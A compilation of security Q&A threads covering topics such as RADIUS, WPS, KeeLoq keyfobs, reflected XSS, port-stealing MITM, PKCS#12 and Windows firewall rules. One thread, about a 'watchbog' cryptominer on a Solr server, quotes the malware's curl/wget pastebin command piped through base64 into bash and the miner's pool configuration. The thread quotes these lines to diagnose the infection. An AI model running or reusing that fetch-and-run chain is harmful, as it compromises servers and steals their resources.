Is it secure to interact with a web page before it has fully loaded? Web pages are often displayed in the browser before they have finished fully loading (i.e. the loading indicator is still spinning, etc).

Usually this is caused by a slow advert or a video, etc. But often there can be critical parts of the page that are not yet being displayed.

Is it safe to interact with the page while it is still loading? By interacting I mean all normal actions on the web, such as clicking links, filling out forms, pressing the back button, etc?

I believe that this can often cause history corruption, however could there be any cases where interacting with the page causes information to be POSTed to the wrong destination, or a hyperlink destination to be incorrect resulting in you accidentally visiting a phishing site, etc?

This will be site dependant, however in most cases, yes, it should be safe to interact with a site that hasn't fully loaded. Many sites are designed with priority loading where the most important page elements are loaded first and supplemental elements are loaded in the background. The reason the site are designed this way is so that you can start interacting with the main content without having to wait for the less important data to load. Browsers makers spends quite a lot of their time thinking about how to safely load a page incrementally while all the resources are loading in parallel, and the are features in modern HTML for web developers to control this loading.

It is possible for a poorly designed page to break if you interact before it's ready, however in my experience this is very, very rare in practice. Most sites would hide any elements that can break until it's ready, or show a loading interstitial page if the developer deems it necessary, but the occasions where these are necessary are very rare as most things in HTML and CSS are safe to interact before page load finishes.

In particular, clicking links and back buttons are almost always going to be safe. The developer have to mess up something really, really badly if these very basic actions break their site. Filling forms are usually safe for all simple HTML forms that doesn't use any JavaScript, and even for most firms that do use JavaScript. It is possible though for poorly written forms to mess up, but this is quite rare.

  I believe that this can often cause history corruption,

If you're seeing history corruption, that's definitely not caused by interacting page while it's loading.

  however could there be any cases where interacting with the page causes information to be POSTed to the wrong destination, or a hyperlink destination to be incorrect resulting in you accidentally visiting a phishing site, etc?

It is possible, but this is rare. The only remotely realistic scenario (one that doesn't involve the developer deliberately going out of their way to make the site vulnerable) I can think of of incorrect POST destination is if an HTML form doesn't specify action attribute but instead uses JavaScript or modifies the action value by JavaScript afterwards. By default, this means that the form will be posted to the same server you're viewing the page on. This may trigger an error but are not normallya security issue. Except for credit card page, because credit card page are often posted directly to third party payment processor so the server wouldn't have to comply with all the requirements of PCI-DSS.

I can't think of any realistic scenario where you'd accidentally post to a phishing site due to incomplete page load. While it's not impossible, the developer would have to go out of their way to make this a possibility.


Is it safe to learn new keyfob by its normal open code (rolling-code)? Part of a wireless door opener, the receiver Doorhan DHRE-2 works, according to description, with the rolling code. It looks like the  receiver can register a new keyfob by listening to its normal opening code:

  2) To record the new code hold down for 3 sec the key «SW1» on the
  recipient card, to make settings of the electric operator connected to the
  output CH1 and the key «SW2» - to make settings of the electric operator
  connected to the output CH2, at that the indicator LED1 will light. After
  that press the necessary key on the remote control unit for 2-3 sec.
  Attention! after the operation is completed only one key can be stored in the
  memory of the recipient.

It is not necessary to, for example, hold both buttons at the same time to transmit the secret.

This doesn't make sense to me. The receiver is supposed to be able to calculate next codes from last received code and some pre-shared secret, which is also stored on the keyfob. Does it learn the secret by listening to the normal open code, which is transmitted while you hold the open button for 3 seconds? Then why can't a thief do that?

Doorhan uses KeeLoq cipher. There's a somewhat informative Non-doorhan decoder description. From it we can learn that at least 3 learning strategies exist:

Simple Learning: fixed crypt-key
Normal Learning: crypt-key=f(manufacturer-key,serial). Serial sent in clear text in every opening signal. Our case.
Secure Learn: crypt-key=f(manufacturer-key,secret-keyfob-seed). Seed only sent by holding special combination of buttons.

The pdf also says:

  Manufacturer’s code
   – A unique and secret 64-
  bit number used to generate unique encoder crypt
  keys.

That's a bit misleading. It should be the same among the receivers of the same model so any receiver could learn any compatible keyfob. The crypt-key is unique though.

There are 2 types of inauthentic Doorhan keyfobs:

With crypt key flashed by manufacturer. They work just like branded and cannot clone existing transmitters.
With manufacturer key. They do not requre learning and can clone existing transmitters (poorly, because most of the time they send a code which was already used). In fact, I saw versatile HR Matic transmitters that do this. Not sure whether they're compatible with Doorhan.

The latter can be used to steal our code and open a door once or twice, but it's not suited for usage with comfort.


RADIUS Authentication and Shared Secret, is secure? I am considering the implementation of a 2 Factor Authentication server and I am concerned that the RADIUS authentication via Shared Secret is not secure enough as for example an attacker could at least steal the usernames. I am wondering if the following communication could be un-encrypted easily:

The way most 2FA services for RADIUS work is by acting as a server hosted locally or in the cloud that authenticates RADIUS requests from agents, and then sends the request to their own servers using their own protocols (disclosure: I work for such a company and have studied and built such services).

That means the data flows like so:

[You] => [VPN|router|service|etc] => [agent] => [2FA RADIUS server] => [2FA service]

There are a number of places to attack:

between you and the VPN-thing: one would hope this is protected through other means. This would likely require a man-in-the-middle attack.
between the VPN-thing and the agent: they're usually the same thing, so it's either an in-memory attack, or an IPC attack. This means you'd need to be on the same box with elevated privileges.
between the agent the 2FA RADIUS server: I suspect this is your biggest concern. It's the RADIUS protocol, which means it's dependent on what auth mechanism it's using for the user. Most use PAP, which uses a shared key to "encrypt" and "decrypt" just the password (quotes meaning it's a bit iffy). This would likely require a man-in-the-middle attack.
Between the 2FA RADIUS server and the 2FA web services: one would also hope this is protected through other means. This would likely require a man-in-the-middle attack.

So what does this mean? Yes, someone can read everything but the password in your RADIUS requests if they get between the agent and the server. This is somewhat trivial if the server is in the cloud. It's a little more difficult if the RADIUS server is on the same closed network as the agent. It's debatable whether an attacker can decrypt the password, as it's dependent on the strength of the shared secret, and how many packets they can steal.

Additionally, you have the shared secret if you're communicating directly with the RADIUS server. If everyone has the same shared secret then anyone can decrypt anyone's password.


Is asking for credentials from a separate trusted domain an acceptable practice? I know of at least two pages that I would have just assumed were a phishing scheme if I didn't know any better.

Serverfault.com is a stack exchange site on a different domain, however if you click to sign in with stack exchange, it does not redirect you, it just prompts you for user/pass.

Steam community does the same thing. Its perfectly legit, but its a different domain than the official steam page.

My perspective on this is that this is bad. If I'm being prompted to enter my facebook credentials, I expect to see the facebook.com domain. Same for steam, same for stack exchange.

Thats the advice I've been giving everyone for the longest time, and friends actually called me up about the steam community one, where I had to dig in order to find out if it was a legit site or not.

Is this a valid practice? It stinks to high heavens imo.

The flip side is that an XSS in a site gives you access to everything on the same origin.  So, if an attacker finds an XSS anywhere in example.com, they can use it to steal login credentials from example.com/login.  With a separate login domain and HttpOnly cookies, this is significantly mitigated.  (Of course, you need some way to pass credentials from the login domain to example.com, and implementing that without leaking the credentials to an XSS is non-trivial.)

Yes, it's probably bad form to teach users to login on a different domain.  Often using a subdomain provides a good balance of containment (via origin) and usability.  See, for example, accounts.google.com for a login page on a different origin, but recognizable domain.


Does WPS actually send passphrase? As you know, by hacking WPS we can get the networks PSK but my question is that does WPS exactly transfers PSK when connection established?

If so, Why does it need to send PSK? I mean, if the session is started successfully, why AP should send PSK too?

The WPS PIN doesn't provide enough security to be used in place of the PSK.  As designed, the PIN provides about 23 bits of security, about the same as a four-alphanumeric password*.  The security comes entirely from the fact that WPS is immune to offline attacks, requiring the attacker to make guesses no faster than the AP being attacked will allow.

Essentially, how WPS works is that the AP and computer negotiate an encrypted but not authenticated channel, the computer and AP each perform some math to prove possession of the PIN (note that neither side ever sends the PIN over the encrypted channel), and the AP then sends the PSK and other configuration details to the computer.  Since the PIN is never transmitted, the only possible attack is to repeatedly attempt to prove to the AP that you know the PIN.

If you use the PIN in place of the PSK for traffic security, offline attacks become possible because data derived from the PIN is being transmitted, and an attacker who can record the encrypted traffic can recover the PIN in a matter of seconds by checking to see which PIN would produce the derived traffic.

* As implemented, the WPS PIN provides about 13 bits of security, similar to a two-alphanumeric password.


How do you find SSL Keys on Android (to decrypt SSL on WireShark)? I'm using an Android Emulator on my PC, then logging into some apps (while running WireShark), and now I'm trying to figure out how to decrypt the SSL traffic.

I understand that I need to find some sort of key to throw into WireShark, but I am unable to figure out how to find that on the Android OS, or if it's even possible.

Any ideas?

Is the server in which the app communicating with yours? If so can you export a copy of the certificate from their and import into wireshark?

If it's not yours then you don't have the private key to decrypt the traffic. You might be able to proxy the app so as to allow you too break the TLS connection- but it sounds like you tried the man in the middle approach already.

Remember the whole point of SSL/TLS is to stop interception of traffic so without the original keys it's not possible to 'see' into the unbroken communications channel.


Can 802.1X, EAP and RADIUS work together? So this is an academic question I came up with while researching the topic.

Can 802.1X, EAP and RADIUS work together to provide a secure authentication?

If yes, how?

Thanks!

I don't see any reasons why they can't work together, especially when they are different things?

EAP -- Extensible Authentication Protocol. It is just a PROTOCOL which is used by 802.1x authentication server (RADIUS, for example) and client to authenticate each other.

RADIUS -- Remote Authentication Dial-In User Service. It is SERVICE which use one or more authentication protocols used by clients to authenticate themselves. There are several industrial authentication protocols, which include but not limited to: (from less secure to more secure) PAP, SPAP, CHAP, MS-CHAP, MS-CHAPv2, EAP-TLS.


Check root certificates and certificate authorities on new PC First Lenovo was caught shipping Superfish with new PCs, which included a universal self-signed certificate authority, and now Dell has been caught shipping PCs with a similar root certificate.

What steps can I take when I get a new PC to make sure that there are no bad certificate authorities or root certificates?

Are there any programs that can automatically check this?
Are there any guides that can be followed to make sure there are only standard certificate authorities and certificates installed?

Edit 2015-11-25

"PowerShell-PKI" project looks promising

Bryan Lockwood has put a a nice project on GitHub:

https://github.com/bklockwood/Powershell-PKI

And here's his blog post that introduced it

Bryan Lockwood, 2015-02-24, Auditing Your Root Certificates (Archived here.)

You can run the script like so:

Copy Nov2015-WindowsRootCAList.txt to Nov2015-WindowsRootCAList.NOSPACES.txt
Work around a bug: Manually remove the trailing space characters in Nov2015-WindowsRootCAList.NOSPACES.txt.
(Otherwise the script will report EVERYTHING as untrusted.)
(I suggest you use your favorite text editor's search-and-replace-feature and just nuke all spaces.)
Dot-source the script:
PS C:\Powershell-PKI-master> . .\Audit-TrustedRootCA.ps1 3>&1 | out-null
Run the function:
PS C:\Powershell-PKI-master> Audit-Roots -FilePath .\Nov2015-WindowsRootCAList.NOSPACES.txt -OutputPath .\

The script the Windows trust store (stores?) against a list of known-good hashes.

Hashes-list is same as from certutil.

The origin of this hash-list is not entirely clear to me.

So I decided to generate the hashes myself with a bit of Cygwin-Bash-Scripting:

$ certutil.exe -generateSSTFromWU wuroots.sst
$ certutil.exe -dumpPFX wuroots.sst  | grep 'Hash' | tr -d ' ' | tr 'a-z' 'A-Z' | cut -d ':' -f2 | sed 's/$/ /' | sort > wuroots-hashes-pspkiformat.txt

And it turns out: the hashes from certutil and hashes from GitHub are in fact identical:

$ diff --report-identical-files -- wuroots-hashes-pspkiformat.txt Nov2015-WindowsRootCAList.txt
Files wuroots-hashes-pspkiformat.txt and Nov2015-WindowsRootCAList.txt are identical

Related Twitter Thread

This Twitter thread started by German security researcher Hanno Böck led me to the PowerShell project.

Maybe CertUtil and MMC to reset?

There was a great blog article last month:

Mike MacCana, CertSimple CA, 2015-10-12, Yes, you can control the SSL CAs your browser trusts (Archived here.)

Mike outlines a procedure to generate an .sst certificate container with just the default certificates retrieved from Windows Update and then uses MMC to pick and choose from them.

certutil -generateSSTFromWU rootcas.sst
invoke-item rootcas.sst

I haven't tried this, but I'm guessing that throwing out every CA and then simple importing all the default CAs from the SST file should do part of the trick.

Note: I don't know how Windows handles self-signed-CAs in the "Intermediate" store or elsewhere. I think that store is a cache anyway and can be nuked because it will be automatically rebuilt anyway -- but I'm not certain.

Prior art

EDIT. I just noticed that Tom Leek gave essentially the same answer to a similar question last year:

2014-10-22: Reset Windows trusted certificates store to its default


How can Port Stealing be used as a MiTM attack? I read about and tried a lot of MiTM attacks but I just don't get how Port Stealing can be used as a MiTM attack.

In my understanding one can "steal" a Port by sending Ethernet Frames faking the victims source MAC-Address with the goal of confusing the Switch to a point where the CAM-Table associates the attackers Port with the victims MAC-Address which for real is behind another Port.

This will result in the attacker receiving all the Packets which are destined for the victim. But at this point the attacker isn't able to forward the packets to the victim because the switch still thinks the victim is behind the attackers port.

So if I'm right till this point how can Port Stealing be used as a MiTM attack?

The behavior you describe is true. However, the trick is that the attacker software will not keep the stolen port for itself, it will proceed in the following loop:

Steal the port,
Receive some data,
Give the port back,
Forward the data to the real destination,
Go back in step 1 by stealing the port again.

You can find more information in Ettercap documentation, which includes the excerpt below:

  Port Stealing

  This technique is useful to sniff in a switched environment when ARP
  poisoning is not effective (for example where static mapped ARPs are
  used).

  It floods the LAN with ARP packets. The destination MAC address of
  each  "stealing" packet is the same as the attacker's one (other NICs
  won't see these packets), the source MAC address will be one of the
  MACs of the victims.

  This process "steals" the switch's port of each victim.

  Using low delays, packets destined to "stolen" MAC addresses will be
  received by the attacker, winning the race condition with the real
  port owner.

  When the attacker receives packets for "stolen" hosts, it stops the
  flooding process and performs an ARP request for the real destination
  of the packet.

  When it receives the ARP reply it's sure that the victim has "taken
  back" his port, so ettercap can re-send the packet to the destination
  as is.

  Now we can re-start the flooding process waiting for new packets.


What can we do with non persistent XSS vulnerabilities? Sorry for this stupid question but i'm thinking about what an attacker can do with a non persistent XSS attack on a website?

An attacker can try to phish me with a malicious url, steal my cookies or my history etc... but does he also need my intervention or a human interaction for his attack?

What else he can do with non persistent XSS?

An attacker can try to phish me with a malicious url, steal my cookies or my history etc... but does he also need my intervention or a human interaction for his attack?

The source could be anywhere there is a link for you to follow: an email, a forum, a Facebook post, Twitter, or it could be that you are already browsing an evil or compromised website.

The "human interaction" part is you following the link, no more interaction is required. For example. if there was a non persistent XSS bug on www.example.com and you were already logged in as the site "remembers you", the link exploiting this bug could grab your session cookies from www.example.com and send them to the attacker automatically - there is no requirement for you to do anything as the victim apart from following the original link.

Some phishing attacks wait for your browser to become idle and then transform the page in the already compromised site - there is nothing stopping them adapting the attack from phishing to XSS by redirecting you to an XSS compromised page in order to hijack your session cookies in the hope you don't notice as you haven't activated the tab in a while. The full page redirection may be necessary when the XSSed site is protecting against framed loading via X-Frame-Options so the site needs to be loaded full page in order to be compromised.

  What else he can do with non persistent XSS?

Lots of things. Drop in a JavaScript keylogger for example. Basically the attacker will be controlling the client-side of your sessions and will have access to view and change any of your data for this domain that is on the client-side.


Is keystore file (server.jks), my private key file? My task is to convert .p7b to .pfx. It would be great, if you could provide me some pointers.

Below are the steps I used to generate the .p7b file:

I generated a .jks (java keystore) file using below command

C:\Program Files\Java\jdk1.6.0_33\bin>keytool -genkey -alias serverkey -keyalg RSA -keystore C:\server\production\ssl\Server.jks -keysize 2048

From keystore file I created a CSR using following command

keytool -certreq -alias serverkey -file ServerCSR.csr -keystore Server.jks

I provided this .CSR file to a local CA certificate authority. They
provided me the certificate in .p7b format

I have two questions:

And how we can convert .p7b file into .pfx format ?
Is keystore file (server.jks), my private key file which is being asked to convert on various available links on google?

Yes, you did keytool genkey in the file server.jks so that file contains your private key. What you need to do is, first add your cert (chain) to the JKS, THEN convert the JKS to "PFX". The p7b by itself does not contain sufficient information.

The .p7b from the CA contains the cert for your server, and may contain other "chain" or "intermediate" certs which your server cert depends on. You say this cert is from a "local CA"; is that CA itself delegated from a well-known "root" CA like Verisign? If not, if the local CA has its own root, is that root already added to the cacerts and/or jssecacerts file in your JAVA_HOME/lib/security? (If you or other users on your system have been interacting with systems using this CA and it has a private root, you likely have already needed to add it to a truststore, but not necessarily the standard one.)

IF the chain the CA gave you uses a root that is either already in the Java-distributed cacerts like Verisign or has been added to cacerts on your specific system, run

keytool -keystore server.jks -alias serverkey -import -file whatever.p7b -trustcacerts

The response should be "Certificate reply was installed in keystore". If it says "Certificate was added to keystore" that is actually an error even though it doesn't say so.
Then convert to PKCS#12, which is the actual standard Microsoft and some other people call PFX, as one line but broken for posting:

keytool -importkeystore -srckeystore server.jks -destkeystore server.pfx
-deststoretype pkcs12 -srcalias serverkey

On the first step, if the needed root (or anchor) isn't in cacerts (well-known or already added) but at least one CA cert is in the p7b, keytool will display info about the "top-level" certificate and ask Install reply anyway?; just answer "yes". If anything more complicated is wrong, give details.


Keylogger transmitting photos when copy paste In my work, I do a lot copy paste graphs or photos between folders. Can keyloggers steal these graphs or photos by transmitting them?
Thanks.

From 10 Immutable Laws of Security...

  Law #1: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore

If a "keylogger" of any form is running on your computer, then this has probably already happened. The bad guy's program can pretty well do anything he's designed it to do.

If this has happened to you, it's time to call Game Over and nuke from orbit.


A process called ./watchbog is mining crypto currency in our server. How do I stop it? I have found this question below but I need some more clarification that's why I am writing again.

I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is

So I did some digging, and found that an executable is being run from the /tmp directory. The folder structure is something like this:

/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data

In that folder there are two files, one executable watchbog which is actually  being run and one config.json. This is the content of the config file,

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "asm": true,
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": 3,
    "donate-level": 1,
    "huge-pages": false,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 100,
    "pools": [
        {
            "url": "pool.minexmr.com:443",
            "user": "4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm.old",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "tls": false,
            "tls-fingerprint": null
        }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": [
        {
            "low_power_mode": 1,
            "affine_to_cpu": false,
            "asm": true
        },
        {
            "low_power_mode": 1,
            "affine_to_cpu": false,
            "asm": true
        }
    ],
    "user-agent": null,
    "syslog": false,
    "watch": false
}

But deleting the folders is not helping, they are being recreated withing few seconds. So I tried to see what other process are running and I found these

solr     32616  0.0  0.0   4504   780 ?        Ss   13:10   0:00 /bin/sh -c (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- h
solr     32618  0.0  0.0  11224  2924 ?        S    13:10   0:00 bash
solr     32623  0.2  0.0  11644  3376 ?        S    13:10   0:00 /bin/bash
solr     32656  200  0.1 270204  6996 ?        Ssl  13:10   0:26 ./watchbog

The pastebin url points to another shell command with another shell command with another pastebin url.

(curl -fsSL https://pastebin.com/raw/nMrfmnRa||wget -q -O- https://pastebin.com/raw/nMrfmnRa) | base64 -d | /bin/bash

This second pastebin url points to a base64 encoded shell script. I can't include it here due to character limitation. Here is the link: https://pastebin.com/raw/nMrfmnRa

I am no expert in this field, but it looks like the script is setting a cron job which downloads the executable again.

This is all I could find on my own, can anyone please guide as to how I can stop this whole thing or would I have to redeploy the server again?

From my point of view, there is no way to tell if the rest of the server is safe or not.
If I were you, I'd handpick files to save and recreate a fresh server to ensure that it isn't compromised.
Otherwise you could end up like BlankMediaGames and having files getting leaked years later. Better safe than sorry


Can File Sharing being Controlled by Mac Address? I am currently setting up secure environment between 2 pc in isolated network.

Just wondering can we do file sharing based on that pc mac address instead of username?

The environment is OEM Windows 7

MAC addressing resides in Layer 2 of the OSI model. Most of file sharing protocols are way up in Layer 7. I doubt you can do what you're trying to do only using MAC addresses.

It is possible to transfer anything using any layer of the OSI model. You can get physical and send the files bit by bit by yourself through the wire. You can even write an application that uses ICMP to setup a connection channels and use it to send and receive files.

I'm not sure what this has to do with security, but the answer is yes, it's possible. But I don't think there's any application that readily supports it.


How to prevent Firefox and Chrome from opening ports in the firewall? I have noticed that Firefox and Chrome have opened ports for unsolicited inbound traffic in the Windows firewall. This happened with Windows 7 x64 and Windows 10. (Here, I am talking about the standard firewall integrated in recent Windows versions, not some third-party product).

Normally, when a program tries to change the firewall configuration, I get a notification (dialog box) on the desktop asking me if I would like to allow that action. But with Firefox and Chrome, things are different:

I regularly delete all rules for Firefox and Chrome from the firewall configuration. However, each time those browsers update themselves (which is quite often), they re-create those rules without the usual confirmation dialog appearing.

I do not understand how this is possible. I currently suspect that the rules are recreated not by Firefox or Chrome themselves, but by their maintenance (update) services which are running in the background, probably with administrative rights.

I do not want Firefox to add rules to my firewall to let unsolicited inbound traffic pass to itself to any port from any address for TCP and UDP. Likewise, I do not want Chrome to add rules to my firewall which let unsolicited inbound UDP traffic pass to itself to a certain port, but also from any address. I am considering that a big security breach given the many security vulnerabilities of the browsers.

Hence the question: How do I prevent Firefox and Chrome and their maintenance / update services from silently adding rules to the Windows firewall?

I have seen that I could control the firewall by group policies, but this seems kind of extreme to me when the only reason would be the problem described above. My clients are not part of a domain, so I would have to do this on each of them. Furthermore, I am not sure if the browsers and their maintenance / update services are able to circumvent the group policies as well.

Steps to reproduce:

Install Firefox
Install Chrome
Open the GUI for the Windows firewall management ("Windows Firewall with advanced security")
On the left, select "Inbound rules"
A list of rules appears on the right; notice two rules whose name begins with "Firefox" and one rule whose name begins with "Chrome"
When you double-click one of the rules, a dialog box appears where the rule's properties, the ports being opened, the program which is allowed to receive that traffic and so on are detailed
Note that the two rules for Firefox are nearly identical; the only difference is that one is for TCP, the other for UDP. Both allow unsolicited inbound traffic from any address to any port to Firefox.
Note that the rule for Chrome lets pass UPD traffic from any address to port 5353 to Chrome.
Delete the three rules mentioned above
Wait until a Firefox update is available and install it
Note that the two rules for Firefox are re-created when installing the update without any confirmation dialog appearing
Wait until a Chrome update is available and install it
Note that the rule for Chrome is re-created when installing the update without any confirmation dialog appearing

Hint: When testing, please be aware that you might need to right-click on "Inbound Rules" at the left and select "Refresh" from the context menu to actually see the newest updates to the rules which might have been done in the background by services or applications.

Hint 2: In fact, if you want to test this, you don't need to wait for the next Firefox or Chrome update. Just install an old version of the browsers and make sure that the firewall rules mentioned above have been created, then delete those rules. Because you have installed old versions, updates will be available immediately. Install the updates and note that the firewall rules have been silently re-created.

One option would be to use Windows access controls to prevent changes to the firewall rules. If you first set the rule to Disabled (or simply deleted it), and then changed the ACLs on the firewall rule storage, it should be possible to avoid the rules re-appearing. While any administrator account could overwrite or bypass your modified ACL, it is highly unlikely that an automated installer would endeavor to do so, and consequently the attempts to change the firewall would simply get "Access Denied".

The good news is that the firewall rules are stored in a predictable location, HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules. They are even entirely human-readable, aside from their names, which are GUIDs; the actual rules are pipe-delimited English text (I am now curious what happens if I make a firewall rule with a pipe character in its description).

The bad news is that the rules are stored as values on a single key (the one given above), and registry ACLs are only available at the granularity of keys. This means that if you deny an account write access to that key, you deny that account the ability to change any firewall rule. This could impair functionality in a number of ways; in the extreme, you would need to manually change the ACL on that key before making any firewall rule changes yourself.

The ideal way to do it would be to use a Deny access control entry for the account that you want to block. Deny entries take precedence over Allow entries for a given specificity level (if an account is both allowed and denied an action, deny wins), and specific (account) similarly wins out over generic (Group). Thus, you can add a Deny entry for a specific account to block that account, without also doing something awkward like blocking the entire Administrators group. Unfortunately, all four Mozilla- or Google-related services installed on my machine (MozillaMaintenance, GoogleChromeElevationService, gupdate, and gupdatem) are configured to run as LocalSystem (a.k.a. SYSTEM). Blocking SYSTEM write access to that key might not be disastrous - in fact, blocking SYSTEM from writing to select registry keys is a common way to keep an admin from making specific changes to a machine via Group Policy - but it would probably break some things. If you end up needing to block actions which are elevated via normal UAC you would need to block either yourself or the Administrators group, and that's even more awkward than blocking SYSTEM.

A solution would be to create a new admin-level service account on the machine, and then modify the Google & Mozilla services to use that account and block that specific account at the registry key. This is not trivial - especially if the services rely on any of the special permissions of being SYSTEM, which by default even the Administrator account does not get all of (though this can, of course, be changed) - but it could be done.

You could also try removing the browsers (and any associated services, manually if needed) and re-installing them using unprivileged installers. This would limit their installer blast radius to your local account, and give them no way to elevate unprompted. Firefox supports portable installs, and Chrome actually used to by default install to your user profile (not your Program Files directory) using a per-user install, so in theory it should be possible to install either one without giving the installer admin rights. Nothing without admin rights can create a way to get admin rights (without a UAC prompt or an EoP vulnerability), so they would not have the ability to silently mess with your firewall, and they would probably not even try (after all, a program installed without Admin can be updated without Admin, and a non-Admin can't change the firewall).


startssl cert e-mail to receive verification code I'd like to configure AD FS in my lab and one of the pre-requisites is to have "a publicly trusted certificate for SSL Server authentication" so far so good. I came across https://www.startssl.com and it looks like I would have to receive an e-mail first with the verification code. Why's that ? Do I have to be the explicit owner of a domain to a get a publicly recognized certificate ?

thanks
Adam

Do I have to be the explicit owner of a domain to a get a publicly recognized certificate ?

Of course. It would be very bad if somebody could get a publicly trusted certificate for a domain owned by somebody else since this certificate could then be used in a man in the middle attack. The whole point of the server certificate is that it identifies the real server for the domain and not some man in the middle claiming to be the domain.


What password based key derivation does PKCS #12 use? I would like to make a note that I have read all of rfc 7292.

I am trying to decrypt encrypted private key in a pkcs#12 pfx file.

The private key is enveloped within pkcs#8 shrouded key bag.

The OID preceding encrypted private key represented as an octet string is

pbeWithSHAAnd3-KeyTripleDES-CBC  OBJECT IDENTIFIER ::= {pkcs-12PbeIds 3}

which I would take to assume that the private key is encrypted with Triple DES

CBC, and password derivation method is pbe.

RFC 7292 describes a "General Method" in section B.2 and B.3, and appendix C

clearly notes

here, we specify a few more, all of which use the procedure detailed in Appendices B.2 and B.3 to construct keys (and IVs, where needed).

Instructions in the first paragraph of Appendix B states, however,

 Specifically, PBES2 should be used as encryption scheme, with PBKDF2
   as the key derivation function.

So in this pfx file, is the private key is encrypted with a symmetric key derived from the general method described or is it more likely that it is encrypted by a symmetric derived by pbkdf2 ?

Also, PKCS#5 does not describe how IV is derived from PBKDF2. Where can I find
specification?

The first paragraph of RFC7272 appendix B, which is the second paragraph in original [RSA PKCS#12v1.1]
(http://www.emclink.net/collateral/white-papers/h11301-pkcs-12v1-1-personal-information-exchange-syntax-wp.pdf),
recommends that PBES2/PBKDF2 from PKCS#5v2+ be used, but this is only 'should'
(not even RFC2119 upper-case SHOULD) and the scheme of appendices B and C (all in B in original)
can be used, and is used by the specific OID you quote.

Note RFC7292 as published has two typos in B.2 step 6 A, (only) one of which was previously errata-ed.
I have reported this to the rfc-editor and they will fix the erratum;
until then you should use the original v1.1 (or v1).
Or alternatively the code in a
working and available implementation like OpenSSL (or its forks) or NSS or Java.

RFC7292 C (or PKCS#12v1+ B.4) says

  The PBES1 encryption scheme defined in PKCS #5 provides a number of
     algorithm identifiers for deriving keys and IVs; here, we specify a
     few more, all of which use the procedure detailed in Appendices B.2
     and B.3 to construct keys (and IVs, where needed).

As stated, these schemes derive both the key and the IV if needed (which it is for 3TDES-CBC),
using different 'diversifier' inputs as described in B.3 and referenced in B.2.

In contrast PKCS#5 PBES1 derives both the key and IV from a single PBKDF1 operation,
while PBES2 uses PBKDF2 to derive only the key; the IV if any is chosen separately,
and carried in the parameters field of the AlgorithmIdentifier for PBES2.


Could Redirection URI be a Client URI in OAuth2 Autorization code flow? For Authorization code grant flow, RFC says the authorization server will send back the code to the redirect_uri specified.

I believe it means the browser will recieve a URL like http://webapp/?code=xyz

Now, the code in the browser will send the code to the client app so that the client will ask, using the code, an access token to the autorization server

That's where my question comes in. I think that returning the code to the user-agent is not secure

What if it was only returned to the client so that it can process the code to obtain an access token ?
Is is at all possible ?

We have several sides in OAuth2 authorization code grant exchange

OAuth Client - an application that want to be granted access
Authorization Server - entity managing access
Resource Owner (End User) with his user agent - person making decision to grant access (or not)

Now to initiate the flow Client captures Resource Owner's user agent and redirects it to Authorization server endpoint - passing scope of required access. The redirect is a mechanism to pass both scope of the request and actual, captured user to whom the request is addressed.

After the Resource Owner makes the decision it have to be passed back to the Client. OAuth2 uses second redirect for that and there are several benefits

The Resource Owner user agent (browser) is back on Client's site and can continue working with it
The Client can use cookies and other mechanism to confirm that the returning user is the same that one in initial redirect.
As to obtain token the Client need some secret information, the leaking of code to the user does not open it to abuse

With direct server-to-server call instead first two points would be hart to achieve - for very limited security gain.


How to get user location using real IP I recently heard this question:

  Can some guys track u using your IP address (what if this guy has access to ISP)?

And I can't find an answer to this question.

Because, I think 99% of people who use the Internet have dynamic IPs.
So, the only thing that a person can do is somehow get your IP address even if you are behind a proxy (which is simply possible, as you know).
By getting this IP, they have your dynamic address and they could do some DNS-lookup to find out who is your IP provider.

Now I have 2 question:

is it possible to get some information from user to detect user location?
if a government like north Korea gets a user's Dynamic address, what does this government need to go to the ISP and say:
"We need the user who was in your **.**.**... IP address?"

I mean what the ISP needs to tell you, the user you who was in an IP address and you want him is: That Guy.

I think it is not OK for an ISP to give governments user info, but I want to find a complete answer for this question for once.

I know there is Geo-location API from HTML 5, but Geo-location show some dialog, and at least we are safe and happy for this.

OK, I'll bite as this question seems slightly different from the previous one.

  is it possible to get some information from user to detect user location?

Yes, the most accurate will be from dedicated commercial tracking companies that use various datasets to match your computer to your real identity and location. This is mentioned in the question that Steffen links to.

A slight caveat is that if you are on an ISP the uses double-NATing, your IP address alone is not sufficiently unique. If your ISP tells you that you cannot run a home server at all, that is one indication of them double-NATing. Of course, as most ISP's use some form of dynamic IPv4 allocation, again, IP address alone may be insufficiently accurate without knowing what specific time you are interested in.

Note that the browser itself may leak information about your location too. For example, my default browser is set to accept en-GB by default by which you can imply that I am in the UK (unless I'm travelling!).

  if a government like north Korea gets a user's Dynamic address, what does this government need to go to the ISP and say: "We need the user who was in your ..**... IP address?"

"The ISP"? Which ISP? Or rather, where are they based. If NK came to my ISP and asked about my location, the ISP would probably chuckle, print the request and stick it on the wall as a souvenir and let the UK government know. ;-)

If there is such a thing as an ISP in NK, I would imagine they would have no problem at all getting the exact details of location and person as long as they knew what time they wanted an answer for.


Should I store my encrypted password's salt and initialization vector as clear text? I'm encrypting some file with AES-256-CBC, and I'm planning to store the cipher text in a json file, with something like:

{
    "data": "0123456789ABCDEF...",
    "salt": "00123ABCAABBCCDD...",
    "iv": "000111ABCCBBCCDDFD..."
}

Then, when I read the file again, I deserialized the data, and then I use the salt to rederive the key, and the iv to decrypt the file. Is this way of storage recommended/secure?

Please note that the data is not huge. It's barely some text, which is why I don't care if serialization increased the size of the data.

Why am I not just concatenating them in byte form? Because I want to have backward compatibility in the future by adding more meta data in the json file, like version, etc.

